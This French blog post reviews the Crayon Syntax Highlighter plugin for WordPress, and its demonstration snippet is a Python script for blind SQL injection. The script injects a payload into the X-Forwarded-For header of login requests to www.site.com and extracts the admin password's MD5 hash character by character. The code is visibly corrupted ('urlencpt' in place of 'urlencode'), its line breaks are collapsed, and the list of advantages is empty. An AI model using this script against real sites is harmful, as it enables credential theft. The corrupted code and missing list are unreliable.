source: Techbrunch
J’ai pas mal galéré avant de trouver le plugin parfait pour afficher du code dans un article mais je pense que j’ai trouvé le plugin ultime.
Ce plugin c’est Crayon Syntax Highlighter, développé en PHP il utilise la librairie javascript jQuery afin d’afficher avec la coloration un très grand nombre de langages. Crayon peut afficher du code à partir d’une URL, d’un fichier ou bien d’un article. Crayon permet d’ajouter simplement de nouveaux langages grâce à l’utilisation d’expressions régulières.
Les principaux avantages de Crayon sont :
Ci-dessous un exemple de code utilisant plusieurs langages de programmation :
Une petite démo avec un code que j’avais présenté dans un article précédent :
import httplib import urllib import re password = "" md5 = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'] cpt = 0 i = 1 while i<=32: print 'Recherche du caractère '+str(i) if cpt == 16: cpt = 0 print 'Test caractere : '+md5[cpt] params = urllib.urlencpt({'login': 'admin', 'pwd': 'password'}) headers = {"Content-type": "application/x-www-form-urlencptd","Accept": "text/plain","x-forwarded-for":"127.0.0.1' or ascii(substring(pwd,"+str(i)+",1))="+str(ord(md5[cpt]))+"#"} conn = httplib.HTTPConnection("www.site.com:80") conn.request("POST", "/index.php", params, headers) response = conn.getresponse() print response.status, response.reason data = response.read() conn.close() if not(re.search('incorrect',data)): print 'Caractère trouvé : '+md5[cpt] password += md5[cpt] i += 1 cpt = 0 else: cpt += 1 print 'MD5 = '+str(password)
Si ce plugin vous a convaincu, il est téléchargeable directement sur Wordress.org.
PS : Le plugin ne fonctionne pas uniquement avec WordPress, il suffit d’un environnement PHP comme expliqué dans cet article.
Liens :